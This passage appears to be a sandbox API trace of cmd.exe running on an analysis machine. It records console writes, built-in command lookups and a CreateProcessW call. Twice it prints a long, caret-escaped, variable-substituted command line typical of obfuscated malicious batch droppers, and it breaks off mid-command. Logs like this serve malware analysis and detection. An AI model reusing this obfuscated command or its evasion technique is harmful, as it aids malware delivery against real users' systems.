lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0102.028] _vsnwprintf (in: _Buffer=0x4a0deb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x22f4b8 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop") returned 25 [0102.028] _vsnwprintf (in: _Buffer=0x4a0deb92, _BufferCount=0x3e5, _Format="%c", _ArgList=0x22f4b8 | out: _Buffer=">") returned 1 [0102.028] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.028] GetFileType (hFile=0x7) returned 0x2 [0102.028] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0102.028] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x22f468 | out: lpMode=0x22f468) returned 1 [0102.029] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.029] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0deb60*, nNumberOfCharsToWrite=0x1a, lpNumberOfCharsWritten=0x22f4a8, lpReserved=0x0 | out: lpBuffer=0x4a0deb60*, lpNumberOfCharsWritten=0x22f4a8*=0x1a) returned 1 [0102.030] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.030] GetFileType (hFile=0x7) returned 0x2 [0102.031] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0102.031] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x22f748 | out: lpMode=0x22f748) returned 1 [0102.031] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.031] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x389a10*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x22f788, lpReserved=0x0 | out: lpBuffer=0x389a10*, lpNumberOfCharsWritten=0x22f788*=0x3) returned 1 [0102.031] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x22f788 | out: _Buffer=", ; ; ; pPuxarv/VCsv40blbkn , cw8f/r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!) ; ; ; ) )&& ( , (, (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ; )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) , ) , )&( , , , (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) , )&& ( (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!), )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!), , , )& ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&& ( , ; , ( , ; , ; , (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!) , ) , , )&& (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&& ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&& ( , ; , ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!) , ; , ; , )& ( ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!) , ) , ;, )& ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ; , )& ( ( , , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )& (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )&&( , ( , (^s^e^t ^ ^ ^;^]=^!^'^}^_^-^:^j^U=^D^!) ) , )&( ; (^s^e^T ^ ^ ^`^\\^+=^!^;^]^:^,^=^c^!) ; ; )&&( , ( , (S^e^T ^_^@^.^-=^!^`^\\^+:^i^y^=^8^!) , , ) , , )&(^S^e^t ^ ^ ^ ^$^'=^!^_") returned 7988 [0102.033] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.033] GetFileType (hFile=0x7) returned 0x2 [0102.033] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0102.033] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x22f718 | out: lpMode=0x22f718) returned 1 [0102.033] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.033] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0f6340*, nNumberOfCharsToWrite=0x1f34, lpNumberOfCharsWritten=0x22f758, lpReserved=0x0 | out: lpBuffer=0x4a0f6340*, lpNumberOfCharsWritten=0x22f758*=0x1f34) returned 1 [0102.039] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x22f788 | out: _Buffer="\r\n") returned 2 [0102.040] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.040] GetFileType (hFile=0x7) returned 0x2 [0102.040] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0102.040] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x22f718 | out: lpMode=0x22f718) returned 1 [0102.043] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.043] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0f6340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x22f758, lpReserved=0x0 | out: lpBuffer=0x4a0f6340*, lpNumberOfCharsWritten=0x22f758*=0x2) returned 1 [0102.044] GetConsoleTitleW (in: lpConsoleTitle=0x22f4b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.044] _wcsicmp (_String1="Cmd", _String2="DIR") returned -1 [0102.044] _wcsicmp (_String1="Cmd", _String2="ERASE") returned -2 [0102.044] _wcsicmp (_String1="Cmd", _String2="DEL") returned -1 [0102.044] _wcsicmp (_String1="Cmd", _String2="TYPE") returned -17 [0102.044] _wcsicmp (_String1="Cmd", _String2="COPY") returned -2 [0102.044] _wcsicmp (_String1="Cmd", _String2="CD") returned 9 [0102.044] _wcsicmp (_String1="Cmd", _String2="CHDIR") returned 5 [0102.044] _wcsicmp (_String1="Cmd", _String2="RENAME") returned -15 [0102.044] _wcsicmp (_String1="Cmd", _String2="REN") returned -15 [0102.044] _wcsicmp (_String1="Cmd", _String2="ECHO") returned -2 [0102.044] _wcsicmp (_String1="Cmd", _String2="SET") returned -16 [0102.044] _wcsicmp (_String1="Cmd", _String2="PAUSE") returned -13 [0102.044] _wcsicmp (_String1="Cmd", _String2="DATE") returned -1 [0102.044] _wcsicmp (_String1="Cmd", _String2="TIME") returned -17 [0102.044] _wcsicmp (_String1="Cmd", _String2="PROMPT") returned -13 [0102.044] _wcsicmp (_String1="Cmd", _String2="MD") returned -10 [0102.044] _wcsicmp (_String1="Cmd", _String2="MKDIR") returned -10 [0102.044] _wcsicmp (_String1="Cmd", _String2="RD") returned -15 [0102.045] _wcsicmp (_String1="Cmd", _String2="RMDIR") returned -15 [0102.045] _wcsicmp (_String1="Cmd", _String2="PATH") returned -13 [0102.045] _wcsicmp (_String1="Cmd", _String2="GOTO") returned -4 [0102.045] _wcsicmp (_String1="Cmd", _String2="SHIFT") returned -16 [0102.045] _wcsicmp (_String1="Cmd", _String2="CLS") returned 1 [0102.045] _wcsicmp (_String1="Cmd", _String2="CALL") returned 12 [0102.045] _wcsicmp (_String1="Cmd", _String2="VERIFY") returned -19 [0102.045] _wcsicmp (_String1="Cmd", _String2="VER") returned -19 [0102.045] _wcsicmp (_String1="Cmd", _String2="VOL") returned -19 [0102.045] _wcsicmp (_String1="Cmd", _String2="EXIT") returned -2 [0102.045] _wcsicmp (_String1="Cmd", _String2="SETLOCAL") returned -16 [0102.045] _wcsicmp (_String1="Cmd", _String2="ENDLOCAL") returned -2 [0102.045] _wcsicmp (_String1="Cmd", _String2="TITLE") returned -17 [0102.045] _wcsicmp (_String1="Cmd", _String2="START") returned -16 [0102.045] _wcsicmp (_String1="Cmd", _String2="DPATH") returned -1 [0102.045] _wcsicmp (_String1="Cmd", _String2="KEYS") returned -8 [0102.045] _wcsicmp (_String1="Cmd", _String2="MOVE") returned -10 [0102.045] _wcsicmp (_String1="Cmd", _String2="PUSHD") returned -13 [0102.045] _wcsicmp (_String1="Cmd", _String2="POPD") returned -13 [0102.045] _wcsicmp (_String1="Cmd", _String2="ASSOC") returned 2 [0102.045] _wcsicmp (_String1="Cmd", _String2="FTYPE") returned -3 [0102.045] _wcsicmp (_String1="Cmd", _String2="BREAK") returned 1 [0102.045] _wcsicmp (_String1="Cmd", _String2="COLOR") returned -2 [0102.045] _wcsicmp (_String1="Cmd", _String2="MKLINK") returned -10 [0102.045] _wcsicmp (_String1="Cmd", _String2="DIR") returned -1 [0102.045] _wcsicmp (_String1="Cmd", _String2="ERASE") returned -2 [0102.045] _wcsicmp (_String1="Cmd", _String2="DEL") returned -1 [0102.045] _wcsicmp (_String1="Cmd", _String2="TYPE") returned -17 [0102.045] _wcsicmp (_String1="Cmd", _String2="COPY") returned -2 [0102.045] _wcsicmp (_String1="Cmd", _String2="CD") returned 9 [0102.046] _wcsicmp (_String1="Cmd", _String2="CHDIR") returned 5 [0102.046] _wcsicmp (_String1="Cmd", _String2="RENAME") returned -15 [0102.046] _wcsicmp (_String1="Cmd", _String2="REN") returned -15 [0102.046] _wcsicmp (_String1="Cmd", _String2="ECHO") returned -2 [0102.046] _wcsicmp (_String1="Cmd", _String2="SET") returned -16 [0102.046] _wcsicmp (_String1="Cmd", _String2="PAUSE") returned -13 [0102.046] _wcsicmp (_String1="Cmd", _String2="DATE") returned -1 [0102.046] _wcsicmp (_String1="Cmd", _String2="TIME") returned -17 [0102.046] _wcsicmp (_String1="Cmd", _String2="PROMPT") returned -13 [0102.046] _wcsicmp (_String1="Cmd", _String2="MD") returned -10 [0102.046] _wcsicmp (_String1="Cmd", _String2="MKDIR") returned -10 [0102.046] _wcsicmp (_String1="Cmd", _String2="RD") returned -15 [0102.046] _wcsicmp (_String1="Cmd", _String2="RMDIR") returned -15 [0102.046] _wcsicmp (_String1="Cmd", _String2="PATH") returned -13 [0102.046] _wcsicmp (_String1="Cmd", _String2="GOTO") returned -4 [0102.046] _wcsicmp (_String1="Cmd", _String2="SHIFT") returned -16 [0102.046] _wcsicmp (_String1="Cmd", _String2="CLS") returned 1 [0102.046] _wcsicmp (_String1="Cmd", _String2="CALL") returned 12 [0102.046] _wcsicmp (_String1="Cmd", _String2="VERIFY") returned -19 [0102.046] _wcsicmp (_String1="Cmd", _String2="VER") returned -19 [0102.046] _wcsicmp (_String1="Cmd", _String2="VOL") returned -19 [0102.046] _wcsicmp (_String1="Cmd", _String2="EXIT") returned -2 [0102.046] _wcsicmp (_String1="Cmd", _String2="SETLOCAL") returned -16 [0102.046] _wcsicmp (_String1="Cmd", _String2="ENDLOCAL") returned -2 [0102.046] _wcsicmp (_String1="Cmd", _String2="TITLE") returned -17 [0102.046] _wcsicmp (_String1="Cmd", _String2="START") returned -16 [0102.046] _wcsicmp (_String1="Cmd", _String2="DPATH") returned -1 [0102.046] _wcsicmp (_String1="Cmd", _String2="KEYS") returned -8 [0102.047] _wcsicmp (_String1="Cmd", _String2="MOVE") returned -10 [0102.047] _wcsicmp (_String1="Cmd", _String2="PUSHD") returned -13 [0102.047] _wcsicmp (_String1="Cmd", _String2="POPD") returned -13 [0102.047] _wcsicmp (_String1="Cmd", _String2="ASSOC") returned 2 [0102.047] _wcsicmp (_String1="Cmd", _String2="FTYPE") returned -3 [0102.047] _wcsicmp (_String1="Cmd", _String2="BREAK") returned 1 [0102.047] _wcsicmp (_String1="Cmd", _String2="COLOR") returned -2 [0102.047] _wcsicmp (_String1="Cmd", _String2="MKLINK") returned -10 [0102.047] _wcsicmp (_String1="Cmd", _String2="FOR") returned -3 [0102.047] _wcsicmp (_String1="Cmd", _String2="IF") returned -6 [0102.047] _wcsicmp (_String1="Cmd", _String2="REM") returned -15 [0102.047] _wcsnicmp (_String1="Cmd", _String2="cmd ", _MaxCount=0x4) returned -32 [0102.048] SetErrorMode (uMode=0x0) returned 0x8001 [0102.048] SetErrorMode (uMode=0x1) returned 0x0 [0102.048] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x361330, lpFilePart=0x22ed40 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x22ed40*="Desktop") returned 0x19 [0102.048] SetErrorMode (uMode=0x8001) returned 0x1 [0102.048] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0102.048] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0102.053] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0102.054] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0102.054] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\Cmd.*", fInfoLevelId=0x1, lpFindFileData=0x22eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22eab0) returned 0xffffffffffffffff [0102.054] GetLastError () returned 0x2 [0102.054] FindFirstFileExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop\\Cmd", fInfoLevelId=0x1, lpFindFileData=0x22eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22eab0) returned 0xffffffffffffffff [0102.055] GetLastError () returned 0x2 [0102.055] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0102.055] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\Cmd.*", fInfoLevelId=0x1, lpFindFileData=0x22eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22eab0) returned 0x380110 [0102.055] FindClose (in: hFindFile=0x380110 | out: hFindFile=0x380110) returned 1 [0102.055] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.COM", fInfoLevelId=0x1, lpFindFileData=0x22eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22eab0) returned 0xffffffffffffffff [0102.055] GetLastError () returned 0x2 [0102.055] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.EXE", fInfoLevelId=0x1, lpFindFileData=0x22eab0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22eab0) returned 0x380110 [0102.056] FindClose (in: hFindFile=0x380110 | out: hFindFile=0x380110) returned 1 [0102.056] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0102.056] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0102.056] GetConsoleTitleW (in: lpConsoleTitle=0x22f000, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.056] InitializeProcThreadAttributeList (in: lpAttributeList=0x22edb8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x22ed78 | out: lpAttributeList=0x22edb8, lpSize=0x22ed78) returned 1 [0102.056] UpdateProcThreadAttribute (in: lpAttributeList=0x22edb8, dwFlags=0x0, Attribute=0x60001, lpValue=0x22ed68, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x22edb8, lpPreviousValue=0x0) returned 1 [0102.056] GetStartupInfoW (in: lpStartupInfo=0x22eed0 | out: lpStartupInfo=0x22eed0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\CMD.Exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0102.056] lstrcmpW (lpString1="\\cmd.exe", lpString2="\\XCOPY.EXE") returned -1 [0102.056] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="Cmd , ; ; ; pPuxarv/VCsv40blbkn , cw8f/r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ 